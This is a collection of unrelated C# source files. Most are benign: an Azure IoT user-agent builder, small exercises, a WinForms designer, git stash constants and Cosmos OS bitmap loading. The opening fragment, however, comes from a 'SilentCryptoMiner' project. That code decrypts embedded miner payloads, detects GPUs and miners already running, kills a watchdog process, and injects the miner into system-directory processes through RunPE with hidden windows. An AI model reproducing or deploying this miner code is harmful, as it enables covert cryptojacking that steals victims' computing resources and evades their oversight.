foreach (ZipArchiveEntry _rentry_ in _rarchive_.Entries){
_rentry_.ExtractToFile(Path.Combine(_rbD_, _rentry_.FullName), true);
}
}
}
}
}
catch(Exception ex){
#if DefDebug
MessageBox.Show("MLE: " + Environment.NewLine + ex.ToString());
#endif
}
#endif
try
{
#if DefXMR
_rxmr_ = _rExtractFile_(_rGetTheResource_("#RESXMR"), "mr");
#endif
#if DefETH
_reth_ = _rExtractFile_(_rGetTheResource_("#RESETH"), "th");
#endif
string _rrunningminers_ = _rGetMiners_();
string[][] _rminerset_ = new string[][] { MINERSET };
foreach (string[] _set_ in _rminerset_)
{
if (!_rrunningminers_.Contains(_rGetString_(_set_[0])) && (_set_[1] == "#XID" || (_set_[1] == "#EID" && _rGPU_)))
{
_rRun_((_set_[1] == "#XID" ? _rxmr_ : _reth_), Path.Combine(Directory.GetParent(Environment.SystemDirectory).FullName, _rGetString_(_set_[3])), _rGetString_(_set_[2]));
}
}
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("MMR: " + Environment.NewLine + ex.ToString());
#endif
}
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("MMC: " + Environment.NewLine + ex.ToString());
#endif
}
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("MFC: " + Environment.NewLine + ex.ToString());
#endif
}
Environment.Exit(0);
}
public static byte[] _rGetTheResource_(string _rarg1_)
{
var MyResource = new System.Resources.ResourceManager("#RESPARENT", Assembly.GetExecutingAssembly());
return _rAESMethod_((byte[])MyResource.GetObject(_rarg1_));
}
public static string _rGetString_(string _rarg1_)
{
return Encoding.Unicode.GetString(_rAESMethod_(Convert.FromBase64String(_rarg1_)));
}
public static bool _rGetGPU_()
{
try
{
string _rarg7_ = "";
var _rarg4_ = new ConnectionOptions();
_rarg4_.Impersonation = ImpersonationLevel.Impersonate;
var _rarg5_ = new ManagementScope("#WMISCOPE", _rarg4_);
_rarg5_.Connect();
var rarg6 = new ManagementObjectSearcher(_rarg5_, new ObjectQuery("#GPUQUERY")).Get();
foreach (ManagementObject MemObj in rarg6)
{
_rarg7_ += (" " + MemObj["VideoProcessor"] + " " + MemObj["Name"]);
}
return _rarg7_.IndexOf("#STRNVIDIA", StringComparison.OrdinalIgnoreCase) >= 0 || _rarg7_.IndexOf("#STRAMD", StringComparison.OrdinalIgnoreCase) >= 0;
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("KWD: " + Environment.NewLine + ex.ToString());
#endif
}
return false;
}
public static string _rGetMiners_()
{
string _rminers_ = "";
var _rarg1_ = new ConnectionOptions();
_rarg1_.Impersonation = ImpersonationLevel.Impersonate;
var _rarg2_ = new ManagementScope("#WMISCOPE", _rarg1_);
_rarg2_.Connect();
var _rarg3_ = new ManagementObjectSearcher(_rarg2_, new ObjectQuery("#MINERQUERY")).Get();
foreach (ManagementObject MemObj in _rarg3_)
{
if (MemObj != null && MemObj["CommandLine"] != null && MemObj["CommandLine"].ToString().Contains("#MINERID"))
{
_rminers_ += MemObj["CommandLine"].ToString();
}
}
return _rminers_;
}
public static bool _rFindWatchdog_(bool _rkill_ = false)
{
#if DefWatchdog
try
{
foreach (Process proc in Process.GetProcessesByName("#WATCHDOGNAME"))
{
proc.Kill();
}
var _rarg1_ = new ConnectionOptions();
_rarg1_.Impersonation = ImpersonationLevel.Impersonate;
var _rarg2_ = new ManagementScope("#WMISCOPE", _rarg1_);
_rarg2_.Connect();
var _rarg3_ = new ManagementObjectSearcher(_rarg2_, new ObjectQuery("Select CommandLine, ProcessID from Win32_Process")).Get();
foreach (ManagementObject MemObj in _rarg3_)
{
if (MemObj != null && MemObj["CommandLine"] != null && MemObj["CommandLine"].ToString().Contains("#WATCHDOGID"))
{
if(_rkill_){
_rCommand_("#SCMD", string.Format("#CMDKILL", MemObj["ProcessID"]));
}else{
return true;
}
}
}
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("KWD: " + Environment.NewLine + ex.ToString());
#endif
}
#endif
return false;
}
public static void _rCommand_(string _rarg1_, string _rarg2_, bool _rwait_ = false)
{
try
{
var _rproc_ = Process.Start(new ProcessStartInfo
{
FileName = _rarg1_,
Arguments = _rarg2_,
WorkingDirectory = Environment.SystemDirectory,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
if (_rwait_)
{
_rproc_.WaitForExit();
}
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("M.C: " + Environment.NewLine + ex.ToString());
#endif
}
}
public static byte[] _rExtractFile_(byte[] _rinput_, string _rcontains_)
{
try
{
using (var _rarchive_ = new ZipArchive(new MemoryStream(_rinput_)))
{
foreach (ZipArchiveEntry _rentry_ in _rarchive_.Entries)
{
if (_rentry_.FullName.Contains(_rcontains_))
{
using (var _rstreamdata_ = _rentry_.Open())
{
using (var _rms_ = new MemoryStream())
{
_rstreamdata_.CopyTo(_rms_);
return _rms_.ToArray();
}
}
}
}
}
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("RK: " + ex.ToString());
#endif
}
return new byte[] { };
}
public static void _rRun_(byte[] _rpayload_, string _rinjectionpath_, string _rarguments_, bool _rshellcode_ = false)
{
try
{
Assembly.Load(_rGetTheResource_("#RESRPE")).GetType("#RUNPETYPE").GetMethod(_rshellcode_ ? "#SHELLCODEMETHOD" : "#RUNPEMETHOD", BindingFlags.Public | BindingFlags.Static).Invoke(null, new object[] { _rpayload_, _rinjectionpath_, _rarguments_ });
}
catch (Exception ex)
{
#if DefDebug
MessageBox.Show("RPE: " + ex.ToString());
#endif
}
}
public static byte[] _rAESMethod_(byte[] _rinput_, bool _rencrypt_ = false)
{
var _rkeybytes_ = new Rfc2898DeriveBytes(@"#AESKEY", Encoding.ASCII.GetBytes(@"#SALT"), 100).GetBytes(16);
using (Aes _raesAlg_ = Aes.Create())
{
using (MemoryStream _rmsDecrypt_ = new MemoryStream())
{
using (CryptoStream _rcsDecrypt_ = new CryptoStream(_rmsDecrypt_, _rencrypt_ ? _raesAlg_.CreateEncryptor(_rkeybytes_, Encoding.ASCII.GetBytes(@"#IV")) : _raesAlg_.CreateDecryptor(_rkeybytes_, Encoding.ASCII.GetBytes(@"#IV")), CryptoStreamMode.Write))
{
_rcsDecrypt_.Write(_rinput_, 0, _rinput_.Length);
_rcsDecrypt_.Close();
}
return _rmsDecrypt_.ToArray();
}
}
}
} | 34.582589 | 266 | 0.501065 | [
"MIT"
] | CPT-Jack-A-Castle/SilentCryptoMiner | SilentCryptoMiner/Resources/Code/Program.cs | 15,495 | C# |
namespace Barriot.Entities.Polls
{
public class PollOption
{
public int Id { get; set; }
public string Label { get; set; }
public int Votes { get; set; }
public PollOption(int index, string label)
{
Id = index;
Label = label;
Votes = 0;
}
}
}
| 18.052632 | 50 | 0.489796 | [
"MIT"
] | Rozen4334/Barriot | Barriot.Core/Entities/Polls/PollOption.cs | 345 | C# |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Microsoft.Azure.Devices.Client
{
internal class ProductInfo
{
public string Extra { get; set; } = "";
public override string ToString()
{
const string Name = "Microsoft.Azure.Devices.Client";
string version = typeof(DeviceClient).GetTypeInfo().Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>().InformationalVersion;
string runtime = RuntimeInformation.FrameworkDescription.Trim();
string operatingSystem = RuntimeInformation.OSDescription.Trim();
string processorArchitecture = RuntimeInformation.ProcessArchitecture.ToString().Trim();
string userAgent = $"{Name}/{version} ({runtime}; {operatingSystem}; {processorArchitecture})";
if (!String.IsNullOrWhiteSpace(this.Extra))
{
userAgent += $" {this.Extra.Trim()}";
}
return userAgent;
}
}
}
| 35.939394 | 154 | 0.664418 | [
"MIT"
] | CIPop-test/azure-iot-sdk-csharp | iothub/device/src/ProductInfo.cs | 1,188 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TribonacciTriangle
{
class Program
{
static void Main(string[] args)
{
long oldest = long.Parse(Console.ReadLine()),
middle = long.Parse(Console.ReadLine()),
newest = long.Parse(Console.ReadLine());
int rowsToGenerate = int.Parse(Console.ReadLine());
Console.WriteLine(oldest);
Console.WriteLine(middle + " " + newest);
int currentRow = 3;
int currentCol = 0;
while (currentRow <= rowsToGenerate)
{
long currentNumber = oldest + middle + newest;
oldest = middle;
middle = newest;
newest = currentNumber;
currentCol++;
if (currentCol < currentRow)
{
Console.Write(currentNumber + " ");
}
else
{
Console.WriteLine(currentNumber);
currentCol = 0;
currentRow++;
}
}
}
}
}
| 24.72 | 63 | 0.475728 | [
"MIT"
] | dushka-dragoeva/TelerikSeson2016 | Exam Preparations/All exam tasks/CSharpPartOne/01. 2012/Variant 1 (1)/Problem 2/Solution.cs | 1,238 | C# |
namespace MajorantOfArray
{
using System;
using System.Linq;
// 08. * The majorant of an array of size N is a value that occurs in it
// at least N/2 + 1 times. Write a program to find the majorant of given array (if exists). Example:
// {2, 2, 3, 3, 2, 3, 4, 3, 3} -> 3
class MajorantOfArray
{
private static int[] sequence =
new int[] { 2, 2, 3, 3, 2, 3, 4, 3, 3 };
public static void Main(string[] args)
{
var listOfMajorants = sequence
.GroupBy(x => x)
.Where(g => g.Count() >= sequence.Length / 2 + 1)
.Select(g => new { Value = g.Key });
if (listOfMajorants.Count() == 0)
{
Console.WriteLine("No majorant for this array.");
}
foreach (var item in listOfMajorants)
{
Console.WriteLine("Majorant of the array is: " + item.Value);
}
}
}
}
| 30.588235 | 104 | 0.472115 | [
"MIT"
] | niki-funky/Telerik_Academy | Programming/Data Structures and Algorithms/01. Algo/08. MajorantOfArray/Program.cs | 1,042 | C# |
namespace SaTeatar.WinUI.Djelatnici
{
partial class frmDjelatnici
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.cmbDjelatnici = new System.Windows.Forms.ComboBox();
this.label1 = new System.Windows.Forms.Label();
this.dgvDjelatnici = new System.Windows.Forms.DataGridView();
this.txtIme = new System.Windows.Forms.TextBox();
this.label2 = new System.Windows.Forms.Label();
this.btnPretrazi = new System.Windows.Forms.Button();
this.label3 = new System.Windows.Forms.Label();
this.txtPrezime = new System.Windows.Forms.TextBox();
this.ImePrezime = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.DjelatnikId = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Status = new System.Windows.Forms.DataGridViewCheckBoxColumn();
((System.ComponentModel.ISupportInitialize)(this.dgvDjelatnici)).BeginInit();
this.SuspendLayout();
//
// cmbDjelatnici
//
this.cmbDjelatnici.FormattingEnabled = true;
this.cmbDjelatnici.Location = new System.Drawing.Point(154, 33);
this.cmbDjelatnici.Name = "cmbDjelatnici";
this.cmbDjelatnici.Size = new System.Drawing.Size(295, 24);
this.cmbDjelatnici.TabIndex = 0;
this.cmbDjelatnici.SelectedIndexChanged += new System.EventHandler(this.cmbDjelatnici_SelectedIndexChanged);
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(25, 36);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(109, 17);
this.label1.TabIndex = 1;
this.label1.Text = "Vrsta djelatnika:";
//
// dgvDjelatnici
//
this.dgvDjelatnici.AllowUserToAddRows = false;
this.dgvDjelatnici.AllowUserToDeleteRows = false;
this.dgvDjelatnici.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dgvDjelatnici.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.ImePrezime,
this.DjelatnikId,
this.Status});
this.dgvDjelatnici.Location = new System.Drawing.Point(28, 171);
this.dgvDjelatnici.Name = "dgvDjelatnici";
this.dgvDjelatnici.ReadOnly = true;
this.dgvDjelatnici.RowHeadersWidth = 51;
this.dgvDjelatnici.RowTemplate.Height = 24;
this.dgvDjelatnici.Size = new System.Drawing.Size(597, 233);
this.dgvDjelatnici.TabIndex = 2;
this.dgvDjelatnici.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(this.dgvDjelatnici_MouseDoubleClick);
//
// txtIme
//
this.txtIme.Location = new System.Drawing.Point(154, 87);
this.txtIme.Name = "txtIme";
this.txtIme.Size = new System.Drawing.Size(295, 22);
this.txtIme.TabIndex = 3;
//
// label2
//
this.label2.AutoSize = true;
this.label2.ImageAlign = System.Drawing.ContentAlignment.MiddleRight;
this.label2.Location = new System.Drawing.Point(25, 90);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(34, 17);
this.label2.TabIndex = 4;
this.label2.Text = "Ime:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
//
// btnPretrazi
//
this.btnPretrazi.Location = new System.Drawing.Point(477, 90);
this.btnPretrazi.Name = "btnPretrazi";
this.btnPretrazi.Size = new System.Drawing.Size(106, 54);
this.btnPretrazi.TabIndex = 5;
this.btnPretrazi.Text = "Pretrazi";
this.btnPretrazi.UseVisualStyleBackColor = true;
this.btnPretrazi.Click += new System.EventHandler(this.btnPretrazi_Click);
//
// label3
//
this.label3.AutoSize = true;
this.label3.ImageAlign = System.Drawing.ContentAlignment.MiddleRight;
this.label3.Location = new System.Drawing.Point(25, 127);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(63, 17);
this.label3.TabIndex = 7;
this.label3.Text = "Prezime:";
this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
//
// txtPrezime
//
this.txtPrezime.Location = new System.Drawing.Point(154, 124);
this.txtPrezime.Name = "txtPrezime";
this.txtPrezime.Size = new System.Drawing.Size(295, 22);
this.txtPrezime.TabIndex = 6;
//
// ImePrezime
//
this.ImePrezime.DataPropertyName = "ImePrezime";
this.ImePrezime.HeaderText = "Ime i prezime";
this.ImePrezime.MinimumWidth = 6;
this.ImePrezime.Name = "ImePrezime";
this.ImePrezime.ReadOnly = true;
this.ImePrezime.Width = 125;
//
// DjelatnikId
//
this.DjelatnikId.DataPropertyName = "DjelatnikId";
this.DjelatnikId.HeaderText = "DjelatnikId";
this.DjelatnikId.MinimumWidth = 6;
this.DjelatnikId.Name = "DjelatnikId";
this.DjelatnikId.ReadOnly = true;
this.DjelatnikId.Visible = false;
this.DjelatnikId.Width = 125;
//
// Status
//
this.Status.DataPropertyName = "Status";
this.Status.HeaderText = "Aktivan";
this.Status.MinimumWidth = 6;
this.Status.Name = "Status";
this.Status.ReadOnly = true;
this.Status.Resizable = System.Windows.Forms.DataGridViewTriState.True;
this.Status.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic;
this.Status.Width = 125;
//
// frmDjelatnici
//
this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(800, 450);
this.Controls.Add(this.label3);
this.Controls.Add(this.txtPrezime);
this.Controls.Add(this.btnPretrazi);
this.Controls.Add(this.label2);
this.Controls.Add(this.txtIme);
this.Controls.Add(this.dgvDjelatnici);
this.Controls.Add(this.label1);
this.Controls.Add(this.cmbDjelatnici);
this.Name = "frmDjelatnici";
this.Text = "Djelatnici";
this.Load += new System.EventHandler(this.frmDjelatnici_Load);
((System.ComponentModel.ISupportInitialize)(this.dgvDjelatnici)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.ComboBox cmbDjelatnici;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.DataGridView dgvDjelatnici;
private System.Windows.Forms.TextBox txtIme;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button btnPretrazi;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox txtPrezime;
private System.Windows.Forms.DataGridViewTextBoxColumn ImePrezime;
private System.Windows.Forms.DataGridViewTextBoxColumn DjelatnikId;
private System.Windows.Forms.DataGridViewCheckBoxColumn Status;
}
} | 46 | 132 | 0.581802 | [
"MIT"
] | eminafit/SaTeatar | SaTeatar/SaTeatar.WinUI/Djelatnici/frmDjelatnici.Designer.cs | 8,926 | C# |
using GMac.Engine.AST.Symbols;
using GMac.Engine.Compiler.Semantic.ASTConstants;
namespace GMac.Engine.API.CodeGen.BuiltIn.GMac.GMacFrame
{
public sealed partial class FrameLibrary
{
private void GenerateEuclideanVersorToOutermorphismMacro(AstFrame frameInfo)
{
var commandsList =
GMacDslSyntaxFactory.SyntaxElementsList(
GMacDslSyntaxFactory.DeclareLocalVariable(DefaultStructure.Outermorphism, "newOm"),
GMacDslSyntaxFactory.EmptyLine(),
GMacDslSyntaxFactory.AssignToLocalVariable("vi", DefaultMacro.EuclideanVersor.Inverse + "(v)"),
GMacDslSyntaxFactory.EmptyLine()
);
for (var index = 1; index <= frameInfo.VSpaceDimension; index++)
{
//var id = GaUtils.BasisVector_Index_To_ID(index - 1);
commandsList.AddRange(
GMacDslSyntaxFactory.AssignToLocalVariable(
"newOm.ImageV" + index,
"v egp " + frameInfo.BasisVectorFromIndex((ulong)index - 1).AccessName + " egp vi"
),
GMacDslSyntaxFactory.AssignToLocalVariable(
"newOm.ImageV" + index,
"newOm.ImageV" + index + ".@G1@"
),
GMacDslSyntaxFactory.EmptyLine()
);
}
var commandsText = GMacLanguage.CodeGenerator.GenerateCode(commandsList);
GenerateMacro(
frameInfo,
DefaultMacro.EuclideanVersor.ToOutermorphism,
ComposeMacroInputs("v", frameInfo.FrameMultivector.Name),
DefaultStructure.Outermorphism,
commandsText,
"newOm"
);
}
private void GenerateEuclideanVersorToLinearTransformMacro(AstFrame frameInfo)
{
GenerateMacro(
frameInfo,
DefaultMacro.EuclideanVersor.ToLinearTransform,
ComposeMacroInputs("v", frameInfo.FrameMultivector.Name),
DefaultStructure.LinearTransform,
"",
DefaultMacro.Outermorphism.ToLinearTransform + "(" + DefaultMacro.EuclideanVersor.ToOutermorphism + "(v))"
);
}
private void GenerateEuclideanVersorMacros(AstFrame frameInfo)
{
GenerateEuclideanVersorToOutermorphismMacro(frameInfo);
GenerateEuclideanVersorToLinearTransformMacro(frameInfo);
GenerateApplyVersorMacro(frameInfo, DefaultMacro.EuclideanVersor.Apply, "(v egp mv egp reverse(v)) / emag2(v)");
GenerateApplyVersorMacro(frameInfo, DefaultMacro.EuclideanVersor.ApplyRotor, "v egp mv egp reverse(v)");
GenerateApplyVersorMacro(frameInfo, DefaultMacro.EuclideanVersor.ApplyReflector, "(-1 * v) egp mv egp reverse(v)");
}
}
}
| 39.96 | 127 | 0.590257 | [
"MIT"
] | ga-explorer/GMac | GMac/GMac.Engine/API/CodeGen/BuiltIn/GMac/GMacFrame/FrameLibraryEuclideanVersor.cs | 2,999 | C# |
namespace VisualStudio.GitStashExtension.GitHelpers
{
/// <summary>
/// Represents container for git commmands.
/// </summary>
public class GitCommandConstants
{
public const string StashList = "stash list";
public const string StashApplyFormatted = "stash apply stash@{{{0}}}";
public const string Stash = "stash";
public const string StashSaveFormatted = "stash save {0}";
public const string StashDeleteFormatted = "stash drop stash@{{{0}}}";
}
}
| 27.315789 | 78 | 0.649326 | [
"MIT"
] | WolfyUK/VisualStudio.GitStashExtension | VisualStudio.GitStashExtension/VisualStudio.GitStashExtension/GitHelpers/GitCommandConstants.cs | 521 | C# |
//#define COSMOSDEBUG
using System;
using System.IO;
using System.Security;
namespace Cosmos.System.Graphics
{
/// <summary>
/// Bitmap class, used to represent image of the type of Bitmap. See also: <seealso cref="Image"/>.
/// </summary>
public class Bitmap : Image
{
/// <summary>
/// Create new instance of <see cref="Bitmap"/> class.
/// </summary>
/// <param name="Width">Image width (greater then 0).</param>
/// <param name="Height">Image height (greater then 0).</param>
/// <param name="colorDepth">Color depth.</param>
public Bitmap(uint Width, uint Height, ColorDepth colorDepth) : base(Width, Height, colorDepth)
{
rawData = new int[Width * Height];
}
/// <summary>
/// Create a bitmap from a byte array representing the pixels.
/// </summary>
/// <param name="Width">Width of the bitmap.</param>
/// <param name="Height">Height of the bitmap.</param>
/// <param name="pixelData">Byte array which includes the values for each pixel.</param>
/// <param name="colorDepth">Format of pixel data.</param>
/// <exception cref="NotImplementedException">Thrwon if color depth is not 32.</exception>
/// <exception cref="OverflowException">Thrown if bitmap size is bigger than Int32.MaxValue.</exception>
/// <exception cref="ArgumentException">Thrown on fatal error (contact support).</exception>
/// <exception cref="ArgumentNullException">Thrown on memory error.</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown on fatal error (contact support).</exception>
public Bitmap(uint Width, uint Height, byte[] pixelData, ColorDepth colorDepth) : base(Width, Height, colorDepth)
{
rawData = new int[Width * Height];
if (colorDepth != ColorDepth.ColorDepth32 && colorDepth != ColorDepth.ColorDepth24)
{
Global.mDebugger.Send("Only color depths 24 and 32 are supported!");
throw new NotImplementedException("Only color depths 24 and 32 are supported!");
}
for (int i = 0; i < rawData.Length; i++)
{
if (colorDepth == ColorDepth.ColorDepth32)
{
rawData[i] = BitConverter.ToInt32(new byte[] { pixelData[(i * 4)], pixelData[(i * 4) + 1], pixelData[(i * 4) + 2], pixelData[(i * 4) + 3] }, 0);
}
else
{
rawData[i] = BitConverter.ToInt32(new byte[] { 0, pixelData[(i * 3)], pixelData[(i * 3) + 1], pixelData[(i * 3) + 2] }, 0);
}
}
}
/// <summary>
/// Create new instance of the <see cref="Bitmap"/> class, with a specified path to a BMP file.
/// </summary>
/// <param name="path">Path to file.</param>
/// <exception cref="ArgumentException">
/// <list type="bullet">
/// <item>Thrown if path is invalid.</item>
/// <item>Memory error.</item>
/// </list>
/// </exception>
/// <exception cref="ArgumentNullException">
/// <list type="bullet">
/// <item>Thrown if path is null.</item>
/// <item>Memory error.</item>
/// </list>
/// </exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown on fatal error (contact support).</exception>
/// <exception cref="IOException">Thrown on IO error.</exception>
/// <exception cref="NotSupportedException">
/// <list type="bullet">
/// <item>Thrown on fatal error (contact support).</item>
/// <item>The path refers to non-file.</item>
/// </list>
/// </exception>
/// <exception cref="ObjectDisposedException">Thrown if the stream is closed.</exception>
/// <exception cref="Exception">
/// <list type="bullet">
/// <item>Thrown if header is not from a BMP.</item>
/// <item>Info header size has the wrong value.</item>
/// <item>Number of planes is not 1. Can not read file.</item>
/// <item>Total Image Size is smaller than pure image size.</item>
/// </list>
/// </exception>
/// <exception cref="NotImplementedException">Thrown if pixelsize is other then 32 / 24 or the file compressed.</exception>
/// <exception cref="SecurityException">Thrown if the caller does not have permissions to read / write the file.</exception>
/// <exception cref="FileNotFoundException">Thrown if the file cannot be found.</exception>
/// <exception cref="DirectoryNotFoundException">Thrown if the specified path is invalid.</exception>
/// <exception cref="PathTooLongException">Thrown if the specified path is exceed the system-defined max length.</exception>
public Bitmap(string path) : this(path, ColorOrder.BGR)
{
}
/// <summary>
/// Create new instance of the <see cref="Bitmap"/> class, with a specified path to a BMP file.
/// </summary>
/// <param name="path">Path to file.</param>
/// <param name="colorOrder">Order of colors in each pixel.</param>
/// <exception cref="ArgumentException">
/// <list type="bullet">
/// <item>Thrown if path is invalid.</item>
/// <item>Memory error.</item>
/// </list>
/// </exception>
/// <exception cref="ArgumentNullException">
/// <list type="bullet">
/// <item>Thrown if path is null.</item>
/// <item>Memory error.</item>
/// </list>
/// </exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown on fatal error (contact support).</exception>
/// <exception cref="IOException">Thrown on IO error.</exception>
/// <exception cref="NotSupportedException">
/// <list type="bullet">
/// <item>Thrown on fatal error (contact support).</item>
/// <item>The path refers to non-file.</item>
/// </list>
/// </exception>
/// <exception cref="ObjectDisposedException">Thrown if the stream is closed.</exception>
/// <exception cref="Exception">
/// <list type="bullet">
/// <item>Thrown if header is not from a BMP.</item>
/// <item>Info header size has the wrong value.</item>
/// <item>Number of planes is not 1. Can not read file.</item>
/// <item>Total Image Size is smaller than pure image size.</item>
/// </list>
/// </exception>
/// <exception cref="NotImplementedException">Thrown if pixelsize is other then 32 / 24 or the file compressed.</exception>
/// <exception cref="SecurityException">Thrown if the caller does not have permissions to read / write the file.</exception>
/// <exception cref="FileNotFoundException">Thrown if the file cannot be found.</exception>
/// <exception cref="DirectoryNotFoundException">Thrown if the specified path is invalid.</exception>
/// <exception cref="PathTooLongException">Thrown if the specified path is exceed the system-defined max length.</exception>
public Bitmap(string path, ColorOrder colorOrder = ColorOrder.BGR) : base(0, 0, ColorDepth.ColorDepth32) //Call the image constructor with wrong values
{
using (var fs = new FileStream(path, FileMode.Open))
{
CreateBitmap(fs, colorOrder);
}
}
/// <summary>
/// Create new instance of the <see cref="Bitmap"/> class, with a specified image data byte array.
/// </summary>
/// <param name="imageData">byte array.</param>
/// <exception cref="ArgumentNullException">Thrown if imageData is null / memory error.</exception>
/// <exception cref="ArgumentException">Thrown on memory error.</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown on fatal error (contact support).</exception>
/// <exception cref="IOException">Thrown on IO error.</exception>
/// <exception cref="NotSupportedException">Thrown on fatal error (contact support).</exception>
/// <exception cref="ObjectDisposedException">Thrown on fatal error (contact support).</exception>
/// <exception cref="Exception">
/// <list type="bullet">
/// <item>Thrown if header is not from a BMP.</item>
/// <item>Info header size has the wrong value.</item>
/// <item>Number of planes is not 1.</item>
/// <item>Total Image Size is smaller than pure image size.</item>
/// </list>
/// </exception>
/// <exception cref="NotImplementedException">Thrown if pixelsize is other then 32 / 24 or the file compressed.</exception>
public Bitmap(byte[] imageData) : this(imageData, ColorOrder.BGR) //Call the image constructor with wrong values
{
}
/// <summary>
/// Create new instance of the <see cref="Bitmap"/> class, with a specified image data byte array.
/// </summary>
/// <param name="imageData">byte array.</param>
/// <param name="colorOrder">Order of colors in each pixel.</param>
/// <exception cref="ArgumentNullException">Thrown if imageData is null / memory error.</exception>
/// <exception cref="ArgumentException">Thrown on memory error.</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown on fatal error (contact support).</exception>
/// <exception cref="IOException">Thrown on IO error.</exception>
/// <exception cref="NotSupportedException">Thrown on fatal error (contact support).</exception>
/// <exception cref="ObjectDisposedException">Thrown on fatal error (contact support).</exception>
/// <exception cref="Exception">
/// <list type="bullet">
/// <item>Thrown if header is not from a BMP.</item>
/// <item>Info header size has the wrong value.</item>
/// <item>Number of planes is not 1.</item>
/// <item>Total Image Size is smaller than pure image size.</item>
/// </list>
/// </exception>
/// <exception cref="NotImplementedException">Thrown if pixelsize is other then 32 / 24 or the file compressed.</exception>
public Bitmap(byte[] imageData, ColorOrder colorOrder = ColorOrder.BGR) : base(0, 0, ColorDepth.ColorDepth32) //Call the image constructor with wrong values
{
using (var ms = new MemoryStream(imageData))
{
CreateBitmap(ms, colorOrder);
}
}
// For more information about the format: https://docs.microsoft.com/en-us/previous-versions/ms969901(v=msdn.10)?redirectedfrom=MSDN
/// <summary>
/// Create bitmap from stream.
/// </summary>
/// <param name="stream">Stream.</param>
/// <param name="colorOrder">Order of colors in each pixel.</param>
/// <exception cref="ArgumentException">Thrown on memory error.</exception>
/// <exception cref="ArgumentNullException">Thrown on memory error.</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown on fatal error (contact support).</exception>
/// <exception cref="IOException">Thrown on IO error.</exception>
/// <exception cref="NotSupportedException">
/// <list type="bullet">
/// <item>Thrown on fatal error (contact support).</item>
/// <item>The stream does not support seeking.</item>
/// </list>
/// </exception>
/// <exception cref="ObjectDisposedException">Thrown if the stream is closed.</exception>
/// <exception cref="Exception">
/// <list type="bullet">
/// <item>Thrown if header is not from a BMP.</item>
/// <item>Info header size has the wrong value.</item>
/// <item>Number of planes is not 1. Can not read file.</item>
/// <item>Total Image Size is smaller than pure image size.</item>
/// </list>
/// </exception>
/// <exception cref="NotImplementedException">Thrown if pixelsize is other then 32 / 24 or the file compressed.</exception>
private void CreateBitmap(Stream stream, ColorOrder colorOrder)
{
#region BMP Header
Byte[] _int = new byte[4];
Byte[] _short = new byte[2];
//Assume that we are using the BMP (Windows) V3 header format
//reading magic number to identify if BMP file (BM as string - 42 4D as Hex) - bytes 0 -> 2
stream.Read(_short, 0, 2);
if ("42-4D" != BitConverter.ToString(_short))
{
throw new Exception("Header is not from a BMP");
}
//read size of BMP file - byte 2 -> 6
stream.Read(_int, 0, 4);
uint fileSize = BitConverter.ToUInt32(_int, 0);
stream.Position = 10;
//read header - bytes 10 -> 14 is the offset of the bitmap image data
stream.Read(_int, 0, 4);
uint pixelTableOffset = BitConverter.ToUInt32(_int, 0);
//now reading size of BITMAPINFOHEADER should be 40 - bytes 14 -> 18
stream.Read(_int, 0, 4);
uint infoHeaderSize = BitConverter.ToUInt32(_int, 0);
if (infoHeaderSize != 40 && infoHeaderSize != 56 && infoHeaderSize != 124) // 124 - is BITMAPV5INFOHEADER, 56 - is BITMAPV3INFOHEADER, where we ignore the additional values see https://web.archive.org/web/20150127132443/https://forums.adobe.com/message/3272950
{
throw new Exception("Info header size has the wrong value!");
}
//now reading width of image in pixels - bytes 18 -> 22
stream.Read(_int, 0, 4);
uint imageWidth = BitConverter.ToUInt32(_int, 0);
//now reading height of image in pixels - byte 22 -> 26
stream.Read(_int, 0, 4);
uint imageHeight = BitConverter.ToUInt32(_int, 0);
//now reading number of planes should be 1 - byte 26 -> 28
stream.Read(_short, 0, 2);
ushort planes = BitConverter.ToUInt16(_short, 0);
if (planes != 1)
{
